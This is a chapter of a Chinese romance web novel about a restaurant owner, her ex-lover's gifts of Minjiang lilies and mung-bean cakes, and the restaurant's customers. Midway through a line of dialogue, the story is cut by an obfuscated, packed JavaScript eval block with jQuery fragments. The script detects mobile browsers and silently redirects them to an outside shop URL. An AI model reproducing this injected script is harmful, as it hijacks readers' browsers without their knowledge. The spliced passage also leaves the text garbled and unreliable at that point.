八月的天晴日浓烈，处暑出伏的天里依旧燥热，蝉鸣声渐少但依旧悠长，一早一晚悄悄爬上一丝秋凉。
晴天娃娃迎来的第一位客人拿着摘了花药的岷江百合推门，目光先落在柜台上。他垂眸轻笑一下，这样也不错，有空的地方能放他今天的百合了。
清透的甜香不知不觉蔓进厨房，缠上林知白的衣角，带着河谷山石、涧水一样的凉感，清而淡的，绵长不散。
她吸了一口气，在燥热的空气里慢慢呼出来。沾着面粉的手突然捏了一下右手腕，掀锅，下面。
他吃了三天的阳春面，拿了三天的岷江百合。她知道他是什么意思。
山野里的百合气质疏朗，它偏爱干热河谷、江边崖壁和乱石坡。岷江江水奔腾，从漩口镇沿岷江一路北上，陡峭石灰岩崖壁上岷江百合扎根石缝，沿江盛放。那是属于崖壁的花，开阔、苍凉、江水为伴。它比常见的麝香百合香味清冷，悠悠荡荡的漫开，高挑直立的植株比人更显出几分孤静。
它叫王百合。
川西当地人很热情，拉着她和穆行简看远处的白色花朵介绍，“王百合是很厉害的哩，岷江发洪水的时候，旁边的那个岩石都塌掉了。”
林知白牵着彼时爱人的手，好奇道：“那王百合呢？”
“王百合如果被掩埋，它的种球就在地下休眠哩，等到来年春天的时候啊，它就冲破那些碎石头，抽叶开花。”
穆行简也起了几分兴趣问道：“向死而生的重生？”
“是，是有这么个意思，不过在我们这，它代表幸福又将归来。”当地人很老道的点点头。
穆行简又问，“只有这有吗？感觉其他地方很少见到。”
当地人点点头：“当然了，放眼全国，也就我们这好找一点培育出来的，不好养哩。”
寻常的百合象征圆满，唯独岷江河谷的帝王百合多一重期许。山中的人相信，离别者终会踏上归途，苦难尽头自有幸福归来。
从那个帮老人捡瓶子的晚上，她就知道了。
可迟来的幸福是真的幸福吗？再香气清淡的百合，夜晚也会让人辗转反侧。再美妙动人的歌声，也是海妖危险的毁灭蛊惑。
更何况，她把手从回忆里抽回来，走到冰箱边，把海蜇皮往桶里一甩，合格的前任就该像死了一样干净。
海洋广阔，失去一点骨血似的盐依旧是海。她林知白，分了手之后还能不是人吗？
她甩甩头，想哪去了，她当然是人，最年轻最有天赋的家族传承人。
李书成在外面苦闷的看着柜台，今天不止一束百合，还多了一盒眼熟的绿豆饼。
是林知白爱吃的那家、只有北京有的软皮绿豆馅饼。
原来他和她真的有那样深的联系啊，连她爱吃的平凡小店都知道，他……比他先知道吗？
穆行简带了电脑，反复删减，密密麻麻的数据像蚂蚁搬家似的乱爬，阳春面上来了，却也在发呆。
午市结束，林知白掀开门帘看见臊眉搭眼的李书成，“你怎么了？”
李书成抬眼瞅她：“我今天的下午饭呢？”
“下午吃什么饭？”林知白斜了他一眼，意外看到柜台上的软皮绿豆馅饼，她放下手里的碗，盯着那盒绿豆饼看了一会儿。
她还记得做这软皮绿豆馅饼的老师傅已经八十高龄，胡子眉毛白花花，说这是他年轻的时候在闽北学的手艺。他很喜欢穆行简，总是拉着穆行简陪他下棋，作为回报，老爷子会提前给她备好绿豆饼，叫她在旁边观棋的时候吃。她不太看得懂，但是穆行简下棋的样子实在好看，绿豆饼又实在好吃。
老爷子说她是好丫头，还说自己是落叶归根，所以回了北京，说做着这绿豆饼，好像也想起当年的好滋味。胡同里老爷子说话时眼神怀念，望着天叹气——真是好岁月啊！
从光线进入眼睛开始，大脑皮层把那天的零散感官碎片分类保存，于是微小如今天的一盒绿豆饼，都能顺着海马体记忆索引到当初工作过的视觉皮层，重现穆行简石桌下偷偷牵她的手和给她端茶时亲昵的眼。
她回神，险些气笑了。
“吃！下午是该吃点东西。”
林知白快刀把鸡脯肉切丝、海蜇头切片，用蛋清、湿淀粉给鸡丝上浆滑油，海蜇头缓缓下入铁锅飞水去腥保脆，葱姜蒜唰唰的在林知白的刀下排列整齐，醋和胡椒粉调味，再加早就切好的香菜段提鲜。
这是一道传统的鲁菜，李书成夹了一筷子，“我看着你没放盐啊，还挺咸。”
林知白擦了擦手，看他一眼，只问好不好吃。
“好吃好吃，咸一点正好下饭。”李书成举了举手里的米饭大口扒着，是真的好吃。脆嫩鲜香，除了有点咸，配着米饭倒也刚好。
李书成理直气壮的想，本来也没有只吃菜的道理。
“这个上新了肯定卖的好，”他又添了半碗米饭，“咸鲜的口味很适合咱这，带点微酸，好吃！”
“那当然。”林知白只用0秒钟就接受了李书成的描述事实。
“打算定多少钱？”
“58？”
“我看行。”
菜馆的下午在插科打诨中度过，晴天娃娃响，晚市如约而至。
钱翠荣老太太一马当先迈进大门，鼻子四处嗅了嗅，“小李啊，我怎么闻着一股海鲜味呢？”
“这您都能闻出来，我们家店主试新菜呢，您明天来尝尝。”
钱老太太一哼，“好像我哪天没来似的。”目光一移，看到旁边的百合和绿豆饼。
“你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841618|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家店主今天又送点心呢？”
李书成看了绿豆饼一眼，默默点了点头。
“诶呦，那我可不客气咯。”老太太手一捞，挑了一个品相端正的绿豆饼去坐着了。
后面的客人有样学样，绿豆饼盒空了，排到的小女孩瘪瘪嘴，“没、没有绿豆饼呜”，豆大的眼泪往下流。
林知白听见声响，走到小女孩面前蹲下，“没有绿豆饼，姐姐送你一朵百合花好不好？”
她笑着抽出一支百合，看着委委屈屈的小女孩说：“姐姐这百合可和外面的不一样，很难买的哦，要不要呀？”
小女孩看着百合花，好像确实和她曾经见过的不一样，“姐姐，它叫什么名？”
林知白低着头看她，沉默了一瞬露出了个微弱的笑：“王百合，它是不是很漂亮？”
“漂亮！我也要当王！”
小女孩拿着花蹦蹦跳跳的走了，她妈妈回头对林知白说了声谢谢。
林知白点点头，没再看散了的百合花束，目光无意识的在空盒子上游走一瞬，避开李书成看她的目光，似乎不在意的点了点招财猫的手。
“那花挺好看的。”李书成说。
“嗯，是挺好看的。”林知白转身回了厨房。
手起刀落，一块块豆腐下锅，滋啦滋啦……
“这绿豆饼味道感觉跟咱这的不大一样。”钱老太太又咬了一口，“怪好吃的来。”
林知白翻炒的手顿了一下，然后继续。
加班到深夜的年轻人推开四时馆的大门，点了一份麻婆豆腐，他今天发工资了。
他上大学的时候最爱吃辣了，上班之后就很少了。什么火锅、烤肉，又或者小小的一瓣蒜，一口下去，就影响客户的谈单欲望。明天休息，他终于可以吃点自己喜欢的。这家菜馆很奇怪，他来之前克制自己了两三年，只是来这吃了回面，便觉得好像也得有点自己的生活。
不过，他并不排斥。
晴天娃娃晃悠悠的送走最后一位客人，悄悄地注视着柜台前的女人。
她似乎有些疲惫，和白天做菜时候明亮的眼神不同，好像有点婉婉的委屈。
李书成拎着大垃圾袋歪身探头她眼前，“我去丢垃圾咯？”
林知白点点头，叫他快去快回。
空荡的菜馆里，她站在岷江百合前，手指似要伸出又缩回，拿起来又放下。回家的路上，路灯下像往常一样平静的照着回家的路，女人抱着百合。
他们今天绕了路，经过一家残疾人学校，林知白把百合轻轻的放在石狮子脚边。她站了一会儿，帮百合花理了理枝叶，把被风吹歪的包装纸重新折好，悄悄离开。
夜风有点凉，吹起她的衣摆，像王百合的花香，她没有回头，只是脚步慢了一点。